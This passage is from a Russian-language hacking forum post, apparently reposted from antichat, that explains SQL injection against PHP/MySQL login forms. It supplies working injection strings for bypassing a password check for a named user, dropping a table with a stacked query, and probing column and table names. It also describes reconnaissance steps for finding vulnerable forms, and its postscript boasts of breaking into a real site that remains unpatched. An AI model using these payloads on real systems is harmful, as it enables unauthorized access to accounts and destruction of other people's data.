Таким образом, используя символ апострофа, мы можем прникнуть в тело SQL запроса и сделать так, что бы проверяемое условие было истинным. Если нас интересует конкретный пользователь vanya, то для получения информации о нем, можно воспользоваться такой строкой пароля: ' or login = 'vanya. При этом запрос станет таким: select * from userTable where login = 'vanya' and password = '' or login = 'vanya' . Как вы понимаете, в результате мы получим информацию именно о vanya.
Описанная уязвимость сервисов, основаных на SQL, не ограничивается несанкционированным получением информации. Поскольку в таких системах используется, как правило, MySQL, то имеется возможность не только модифицировать условное выражение в команде select, но и выйти за пределы этой команды, и выполнить другую команду БД. Поскольку в MySQL допускается несколько команд в одном запросе, разделенных ; , то мы можем выполнить любую из этих команд, введя в поле пароля следующий код: ' ; <командаSQL> где в качестве <командаSQL> можно указать любую допустимую команду. Так например такой код: ' ; drop table 'userTable просто напросто уничтожит таблицу userTable из базы данных.
Практическое использование уязвимости

Несмотря на простоту, практическое использование ошибок SQL запросов весьма затруднительно.

В этой главе рассмотрим следующие проблемы, возникающие при использовании описываемой уязвимости:
Определение факта использования SQL в системе.
Выявление факта наличия уязвимости. Выяснение реакции скрипта на ошибки.
Определение имен полей в таблице.
Определение имен существующих таблиц.

Рассмотренная уязвимость присуща всем SQL запросам, независимо от скрипта или программы, откуда они вызываются. Однако мы будем рассматривать системы, основанные на PHP. Это связано с тем, что поток ошибок PHP как правило (по умолчанию) направляется конечному пользователю. В то время как Perl или Exe приложения обычно не информируют пользователя о характере ошибок.


Определение факта использования SQL в системе.

При исследовании конкретной системы, нужно в первую очередь выяснить использует ли она SQL.
Этот факт можно выявить либо косвеными путями (просмотрев имена используемых файлов, ссылки на используемые средства и т.д.), либо непосредственно - заставив SQL проявить себя. Если мы рабоатем с PHP, то существует только один способ определить однозначно использование SQL - это вызвать ошибку его выполнения. Если при выполнении запроса происходит ошибка, и а PHP скрипте явно ошибки не выпонения не обрабатываются, то сообщение об ошибке PHP выдаст прямо на страницу пользователя.
Как вызвать ошибку выполнения SQL запроса зависит от конкретного утройства рассматриваемой системы. В большинстве случаев ошибку можно вызвать введя в систему некорректные данные.


Выявление факта наличия уязвимости. Выяснение реакции скрипта на ошибки.

Наиболее простой способ выявления наличия уязвимости, а заодно и факта использования SQL, является следующий: В любом поле, которое предположительно участвует в формировании SQL запроса (например поле Login или Password), вводим знак одинарной кавычки. Остальные поля заполняем любыми корректными данными (либо оставляем пустыми, если это допускается системой). Отослав данные формы, смотрим на реакцию системы. Если в результате PHP скрипт выдает нам ошибку SQL, то можем себя поздравить: в системе используется SQL и скрипт не фильтрует одинарную кавычку. То есть система содержит уязвимость.
Ошибка SQL запроса будет в таком случае выглядеть на страничке примерно так:


Форма ввода данных:


Как результат-ошибка SQL запроса:

Если кода ошибки SQL на странице нет, то это может означать следующее:
1)Система содержит уязвимость, но скрипт PHP обрабатывает ошибки. В таком случае систему можно взломать, однако придется действовать "наощупь", поскольку мы не будем знать когда синтаксис SQL будет корректным, а когда нет.
2)Скрипт фильтрует кавычку и потому ошибки не возникает. В таком случае система не содержит уязвимости.
3)Система вообще не использует SQL.
В двух последних случаях понятно, что дальнейшее исследование SQL не имеет смысла.

Определение имен полей в таблице.

Для того, что бы получить информацию из базы данных с конкретными данными, мы должны определить значения некоторых полей в запросе (например задать логин пользователя). Однако для этого нужно знать имя соответствующих полей. Напрямую узнать эти имена возможности нет. Поэтому тут придется искать эти имена методом перебора. Эти имена могут совпадать с именами полей в форме, отсылаемой на сервер,а могут и не совпадать. Благое дело, что имена полей как правило стандартны и вариантов написания их не так много. Так, например, имя поля для имени пользователя скорее всего будет loginuser или nick. Аналогично для пароля: password или pwd или pass.
Для определения существования определенного поля, предлагается простой метод: Пусть мы хотим проверить существует ли поле pwd в таблице. Введем в любом поле формы такую строку ' pwd='. Если поле pwd существует в таблице, то SQL корректно обработает запрос, если же такого поля нет, то опять возникнет ошибка выполнения SQL. Таким образом подставляя разные значения имен полей и анализируя результат обработки запроса, мы можем выяснить какие поля существуют в таблице, а какие нет.


Определение имен существующих таблиц.


Аналогично методике нахождения имен полей в таблицах, можно искать и имена существующих таблиц в базе данных. Пусть мы хотим выяснить существует ли в базе таблица adminList. Для этого введем в нектором поле формы такую строку ';select * from adminList. Если в результате ошибки SQL не возникает, значит таблица adminList существует. Для корректности этого теста, необходимо вводить эту строку в то поле, которое фигурирует последним в SQL запросе. Это необходимо для того, что бы не вызывалась ошибка синтаксиса из-за оставшегося "хвоста" исходного запроса, который будет присутствовать после select * from adminList. Отметим, что если форма для запроса имеет два поля Login и Password, то скорее всего именно поле пароля будет фигурировать в запросе последним.

P.S.

Используя данную уязвимость, был взломан сайт [Ссылки скрыты от гостей.] (точнее его фотогаллерея и чат). Мы собщили об уязвимости владельцам сайта. Дыра была пофиксина. Но вот сейчас я еще раз проверил регистрационную форму чата. И обнаружил все ту же уязвимость 8-).

Цитата:
(С)old.antichat.ru
[/HIDE]
__________________
[Ссылки скрыты от гостей.]
  Наверх
Закрытая тема


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Powered by vBulletin
Copyright © 2017 vBulletin Solutions, Inc.
Перевод: zCarot | Дизайн: G-A | Верстка: OldEr
Текущее время: 03:02. Часовой пояс GMT +4.